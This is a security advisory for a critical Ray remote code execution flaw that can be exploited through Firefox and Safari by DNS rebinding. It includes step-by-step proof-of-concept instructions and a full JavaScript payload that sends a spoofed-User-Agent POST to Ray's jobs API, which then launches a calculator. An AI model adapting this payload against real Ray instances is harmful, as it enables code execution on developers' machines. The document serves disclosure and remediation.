GHSA-q279-jhrf-cc6v CVE-2025-62593 PYSEC-2026-520
Ray is vulnerable to Critical RCE via Safari & Firefox Browsers through DNS Rebinding Attack
- Severity
- 9.4 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 60.15%
- Chance of exploitation in the next 30 days. Higher than 99.13% of scored vulnerabilities.
- Known exploited
- Yes
- In CISA's catalog since Aug 17, 2026
- Weakness
- CWE-94 Improper Control of Generation of Code ('Code Injection')
- CWE-352 Cross-Site Request Forgery (CSRF)
- Fix
2.52.0- Upgrade ray to this version or later
Description
Summary
Developers working with Ray as a development tool can be exploited via a critical RCE vulnerability exploitable via Firefox and Safari.
Due to the longstanding decision by the Ray Development team to not implement any sort of authentication on critical endpoints, like the /api/jobs & /api/job_agent/jobs/ has once again led to a severe vulnerability that allows attackers to execute arbitrary code against Ray. This time in a development context via the browsers Firefox and Safari.
This vulnerability is due to an insufficient guard against browser-based attacks, as the current defense uses the User-Agent header starting with the string "Mozilla" as a defense mechanism. This defense is insufficient as the fetch specification allows the User-Agent header to be modified.
Combined with a DNS rebinding attack against the browser, and this vulnerability is exploitable against a developer running Ray who inadvertently visits a malicious website, or is served a malicious advertisement (malvertising).
Details
The mitigations implemented to protect against browser based attacks against local Ray nodes are insufficient.
Current Mitigation Strategies
def is_browser_request(req: Request) -> bool:
"""Checks if a request is made by a browser like user agent.
This heuristic is very weak, but hard for a browser to bypass- eg,
fetch/xhr and friends cannot alter the user-agent, but requests made with
an http library can stumble into this if they choose to user a browser like
user agent.
"""
return req.headers["User-Agent"].startswith("Mozilla")
def deny_browser_requests() -> Callable:
"""Reject any requests that appear to be made by a browser"""
def decorator_factory(f: Callable) -> Callable:
@functools.wraps(f)
async def decorator(self, req: Request):
if is_browser_request(req):
return Response(
text="Browser requests not allowed",
status=aiohttp.web.HTTPMethodNotAllowed.status_code,
)
return await f(self, req)
return decorator
return decorator_factory
@aiohttp.web.middleware
async def browsers_no_post_put_middleware(self, request, handler):
if (
# A best effort test for browser traffic. All common browsers
# start with Mozilla at the time of writing.
dashboard_optional_utils.is_browser_request(request)
and request.method in [hdrs.METH_POST, hdrs.METH_PUT]
):
return aiohttp.web.Response(
status=405, text="Method Not Allowed for browser traffic."
)
return await handler(request)
This is because the fundamental assumption that the User-Agent header can't be manipulated is incorrect. In Firefox and in Safari, the fetch API allows the User-Agent header to be set to a different value. Chrome is not vulnerable, ironically, because of a bug, bringing it out of spec with the fetch specification.
Exploiting this vulnerability requires a DNS rebinding attack against the browser. Something trivially done by modern tooling like nccgroup/singularity.
PoC
Please note, this full PoC will be going live at time of disclosure.
- Launch Ray
ray start --head --port=6379 - Ensure that the ray dashboard/service is running on port
8265 - Launch an internet facing version of NCCGroup/Singularity following the setup guide here.
- Visit the in Firefox or Safari: http://[my.singularity.instance]:8265/manager.html
- Under "Attack Payload" select:
Ray Jobs RCE (default port 8265) - Click "Start Attack". If you see a 404 error in the iFrame window that pops up, refresh the page and retry starting at step 3.
- Once the DNS rebinding attack succeeds (you may need to try a few times), an alert will appear, then the jobs API will be invoked, and the embedded shell code will be executed, popping up the calculator.
If this attack doesn't work, consider clicking the "Toggle Advanced Options" and trying an alternative "Rebinding Strategy". I've personally been able to get this attack to work multiple times on MacOS on multiple different residential networks around the Seattle area. Some corporate networks may block DNS rebinding attacks, but likely not many.
What's going on?
This is the payload running in nccgroup/singularity:
/**
* This payload exploits Ray (https://github.com/ray-project/ray)
* It opens the "Calculator" application on various operating systems.
* The payload can be easily modified to target different OSes or implementations.
* The TCP port attacked is 8265.
*/
const RayRce = () => {
// Invoked after DNS rebinding has been performed
function attack(headers, cookie, body) {
// Get the current timestamp in milliseconds
const timestamp = Date.now();
// OS-agnostic calculator command that tries multiple approaches
const calculatorCommand = `
# Try Windows calculator first
if command -v calc.exe >/dev/null 2>&1; then
echo Windows calculator launching
calc.exe &
# Try macOS calculator
elif command -v open >/dev/null 2>&1; then
echo macOS calculator launching
open -a Calculator &
elif [ -f "/System/Applications/Calculator.app/Contents/MacOS/Calculator" ]; then
echo macOS calculator launching
/System/Applications/Calculator.app/Contents/MacOS/Calculator &
# Try Linux calculators
elif command -v gnome-calculator >/dev/null 2>&1; then
echo Linux calculator launching
gnome-calculator &
elif command -v kcalc >/dev/null 2>&1; then
echo Linux calculator launching
kcalc &
elif command -v xcalc >/dev/null 2>&1; then
echo Linux calculator launching
xcalc &
# Fallback: try to find any calculator binary
else
echo Linux calculator launching
find /usr/bin /usr/local/bin /opt -name "*calc*" -type f -executable 2>/dev/null | head -1 | xargs -I {} {} &
fi
echo RAY RCE: By JLLeitschuh ${timestamp}
`;
const data = {
"entrypoint": calculatorCommand,
"runtime_env": {},
"job_id": null,
"metadata": {
"job_submission_id": timestamp.toString(),
"source": "nccgroup/singluarity"
}
};
sooFetch('/api/jobs/', {
method: 'POST',
headers: {
'User-Agent': 'Other',
},
body: JSON.stringify(data),
})
.then(response => {
console.log(response);
return response.json()
}) // parses JSON response into native JavaScript objects
.then(data => {
console.log('Success:', data);
})
.catch((error) => {
console.error('Error:', error);
});
}
// Invoked to determine whether the rebinded service
// is the one targeted by this payload. Must return true or false.
async function isService(headers, cookie, body) {
return sooFetch("/",{
mode: 'no-cors',
credentials: 'omit',
})
.then(function (response) {
return response.text()
})
.then(function (d) {
if (d.includes("You need to enable JavaScript")) {
return true;
} else {
return false;
}
})
.catch(e => { return (false); })
}
return {
attack,
isService
}
}
Registry["Ray Jobs RCE"] = RayRce();
See: https://github.com/nccgroup/singularity/pull/68
Impact
This vulnerability impacts developers running development/testing environments with Ray. If they fall victim to a phishing attack, or are served a malicious ad, they can be exploited and arbitrary shell code can be executed on their developer machine.
This attack can also be leveraged to attack network-adjacent instance of ray by leveraging the browser as a confused deputy intermediary to attack ray instances running inside a private corporate network.
Fix
The fix for this vulnerability is to update to Ray 2.52.0 or higher. This version also, finally, adds a disabled-by-default authentication feature that can further harden against this vulnerability: https://docs.ray.io/en/latest/ray-security/token-auth.html
Fix commit: https://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09
Several browsers have, after knowing about the attack for 19 years, recently begun hardening against DNS rebinding. (Chrome Local Network Access). These changes may protect you, but a previous initiative, "private network access" was rolled back. So updating is highly recommended as a defense-in-depth strategy.
Credit
The fetch bypass was originally theorized by @avilum at Oligo. The DNS rebinding step, full POC, and disclosure was by @JLLeitschuh while at Socket.
Affected versions
PyPI
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
ray PyPI → 2.52.0
- pip
pip install --upgrade "ray>=2.52.0"- poetry
poetry add "ray>=2.52.0"- uv
uv add "ray>=2.52.0"
Severity breakdown
CVSS 4.0 9.4
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- Passive
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- High
- Integrity (subsequent systems)
- High
- Availability (subsequent systems)
- High
CVSS 3.1 8.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-94: Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
How to prevent it
- Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
- Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
- Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CWE-352: Cross-Site Request Forgery (CSRF)
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330] Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
- Implementation: Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
- Architecture and Design: Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
- Architecture and Design: Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
- Architecture and Design: Use the "double-submitted cookie" method as described by Felten and Zeller: When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult. This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
- Architecture and Design: Do not use the GET method for any request that triggers a state change.
- Implementation: Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
References
Advisories
Fixes and patches
Packages
Other links
Timeline
- Published
- Added to CISA's Known Exploited Vulnerabilities catalog
- Remediation due for U.S. federal agencies
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-26p8-2jq9-3vq9 MLflow vulnerable to remote code execution on unauthenticated servers via third-party scorer deserialization importing caller-placed artifact modules | Critical | Same weakness, CWE-94 |
| GHSA-h3rc-6mm3-gc2m vLLM: Request-controlled mm_processor_kwargs.code_revision allows remote code execution | Critical | Same weakness, CWE-94 |
| GHSA-qxg6-89mg-rqv8 Vitest: Code injection via unauthenticated manual mock registration | Medium | Same weakness, CWE-94 |
| CVE-2026-0322 A remote code execution (RCE) vulnerability in the management interface of Palo Alto Networks PAN-OS® software enables an authenticated attacker with network… | High Known exploited | Same weakness, CWE-94 |
| GHSA-p393-cf76-4jmr Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite | High | Same weakness, CWE-94 |
| GHSA-8r5x-fm3f-whwj Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937) | Critical | Same weakness, CWE-94 |
| GHSA-97rh-rhh2-7vjv Payload: Remote Code Execution through first-register | High | Same weakness, CWE-94 |
| GHSA-27vj-qcqg-25rc fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution | High | Same weakness, CWE-94 |
Credits: JLLeitschuh, avilum
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor